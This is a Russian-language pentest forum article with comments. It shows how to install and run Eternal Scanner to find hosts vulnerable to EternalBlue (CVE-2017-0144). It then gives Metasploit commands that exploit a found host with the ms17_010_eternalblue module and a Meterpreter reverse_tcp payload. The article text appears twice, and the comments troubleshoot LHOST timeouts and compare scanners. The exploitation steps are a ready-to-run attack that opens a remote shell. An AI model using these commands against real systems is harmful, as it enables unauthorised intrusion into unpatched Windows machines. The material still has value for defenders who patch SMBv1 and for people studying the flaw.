Уважаемый Вандер,что-то ваша ссылочка барахлит а вот это рабочая 1git clone https://github.com/peterpt/eternal_scanner
Последнее редактирование:
[ обложка статьи ]
Режим чтения
Всем привет! В этой статье я хочу продемонстрировать работу сканера, который способен отыскать в сети уязвимые для EternalBlue ( CVE-2017-0144) — кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB, хосты.
Итак, собственно – Eternal Scanner.
CVE-2017-0144 Описание:
Сервер SMBv1 в Microsoft Windows Vista SP2; Windows Server 2008 SP2 и R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold и R2; Windows RT 8.1; И Windows 10 Gold, 1511 и 1607; И Windows Server 2016 Позволяет атакующим удаленно выполнять произвольный код с помощью видоизмененных пакетов как в “Windows SMB Remote Code Execution Vulnerability.”. Эта уязвимость отличается от описанной в CVE-2017-0143, CVE-2017-0145, CVE-2017-0146 , И CVE-2017-0148.
Установка:
> git clone https://github.com/peterpt/eternal_scanner
> cd eternal_scanner
> ls –l
Запуск:
> ./escan
Далее, вводим интересующий нас адрес или диапазон, по маске.
Ждем окончания сканирования:
По итогу проверки обнаружилось три хоста уязвимые к данной атаке:
Результаты проверки сканер услужливо сложил в текстовый файлик:
На этом, пожалуй, все, пойду закрывать дырки…
Хотя, сначала, чуть попробую, не соврал ли сканер.
> msfconsole
> use exploit/windows/smb/ms17_010_eternalblue
> msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.158
> msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.180
> msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
> msf exploit(ms17_010_eternalblue) >exploit
Пока, все идет ровно. И буквально через 30 сек:
Теперь можно идти, спасибо за внимание.
Итак, собственно – Eternal Scanner.
CVE-2017-0144 Описание:
Сервер SMBv1 в Microsoft Windows Vista SP2; Windows Server 2008 SP2 и R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold и R2; Windows RT 8.1; И Windows 10 Gold, 1511 и 1607; И Windows Server 2016 Позволяет атакующим удаленно выполнять произвольный код с помощью видоизмененных пакетов как в “Windows SMB Remote Code Execution Vulnerability.”. Эта уязвимость отличается от описанной в CVE-2017-0143, CVE-2017-0145, CVE-2017-0146 , И CVE-2017-0148.
Установка:
> git clone https://github.com/peterpt/eternal_scanner
> cd eternal_scanner
> ls –l
Запуск:
> ./escan
Далее, вводим интересующий нас адрес или диапазон, по маске.
Ждем окончания сканирования:
По итогу проверки обнаружилось три хоста уязвимые к данной атаке:
Результаты проверки сканер услужливо сложил в текстовый файлик:
На этом, пожалуй, все, пойду закрывать дырки…
Хотя, сначала, чуть попробую, не соврал ли сканер.
> msfconsole
> use exploit/windows/smb/ms17_010_eternalblue
> msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.158
> msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.180
> msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
> msf exploit(ms17_010_eternalblue) >exploit
Пока, все идет ровно. И буквально через 30 сек:
Теперь можно идти, спасибо за внимание.
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Инфа далеко не секретная, в целях просвещения, лишь
[doublepost=1500927250,1500927177][/doublepost]
Виноват, исправился)
Уважаемый Vander что это означает:
root@Server:~/eternal_scanner# ls -l
итого 44
-rw-r--r-- 1 root root 938 июл 30 09:53 changelog.md
-rwxr-xr-x 1 root root 1446 июл 30 09:53 elog
-rwxr-xr-x 1 root root 17267 июл 30 09:53 escan
-rw-r--r-- 1 root root 1064 июл 30 09:53 LICENSE
-rw-r--r-- 1 root root 1080 июл 30 09:53 readme.md
-rw-r--r-- 1 root root 4452 июл 30 09:53 use.md
root@Server:~/eternal_scanner# ./escan
Masscan Missing
root@Server:~/eternal_scanner#
root@Server:~/eternal_scanner# ls -l
итого 44
-rw-r--r-- 1 root root 938 июл 30 09:53 changelog.md
-rwxr-xr-x 1 root root 1446 июл 30 09:53 elog
-rwxr-xr-x 1 root root 17267 июл 30 09:53 escan
-rw-r--r-- 1 root root 1064 июл 30 09:53 LICENSE
-rw-r--r-- 1 root root 1080 июл 30 09:53 readme.md
-rw-r--r-- 1 root root 4452 июл 30 09:53 use.md
root@Server:~/eternal_scanner# ./escan
Masscan Missing
root@Server:~/eternal_scanner#
что-то сколько не пробовал но после вот этих строк
Всегда пишет The connection timed out, скорее всего я не правильно понял что нужно прописывать в LHOST , поясните пожалуйста )
Всегда пишет The connection timed out, скорее всего я не правильно понял что нужно прописывать в LHOST , поясните пожалуйста )
чем принципиально отличается от use auxiliary/scanner/smb/smb_ms17_010 ? Выгрузкой в тхт ?
Суть команды ясна теперь?
[doublepost=1501483092,1501482928][/doublepost]
что-то сколько не пробовал но после вот этих строк
Всегда пишет The connection timed out, скорее всего я не правильно понял что нужно прописывать в LHOST , поясните пожалуйста )
попробуйте просканировать nmap'ом, возможно имеет место быть фильтрация портов, в таком случае обрыв по таймауту бывает.
команда ls понятно, но при вводе ./escan в место Eternal Scannera выводит Masscan Missing. Вот что я хотел уточнить...
в чём смысл этого скрипта если потом всё равно мсф запускать?) в мсф уже есть модуль для проверки - https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010
в msf exploit только до 2008 сервака, на гитхабе есть же и 2012, и для него текстовик будет актуален ..
Добавлю немного дегтя или просто разберу работу
1. Сканирует порты с помощью masscan
2. Уязвимость определяет с помощью MSF модуля
3. Это уже к разрабам, если бы список уязвимых проходился повторно чекером который там же лежит
3.1. так как показывает что хост уязвим, но для него надо валидные креденшелы
За обзор сотфа к репе
За софт 3/5, если уже делать сканер с чекером, так уже как говорится на любой вкус
1. Сканирует порты с помощью masscan
2. Уязвимость определяет с помощью MSF модуля
3. Это уже к разрабам, если бы список уязвимых проходился повторно чекером который там же лежит
3.1. так как показывает что хост уязвим, но для него надо валидные креденшелы
За обзор сотфа к репе
За софт 3/5, если уже делать сканер с чекером, так уже как говорится на любой вкус
Поиск в обсуждении
Продолжить чтение
Следующий разбор
Я не взломал их C2. Я заставил бота сдать его сам | РАЗБОР ТОГО КАК Я РЕВЕРСНУЛ КАСТОМНЫЙ ПРОТОКОЛ С2 ГРУППИРОВКИ 2137GANG
Ещё по теме
4
СтатьяИнструменты пентестера: TOP-10 с реальными примерами в каждой фазе атаки
0
3 тыс.
23.04.2026
СтатьяАтаки на сетевые протоколы при пентесте: эксплуатация SMB, FTP, SNMP и SMTP
4
3 тыс.
21.07.2026
СтатьяСетевая разведка и сканирование портов: практическое руководство по nmap и masscan
1
3 тыс.
12.04.2026
СтатьяПентест с нуля: полное практическое руководство для начинающих в 2025
0
22 тыс.
29.04.2025
Комментарии
26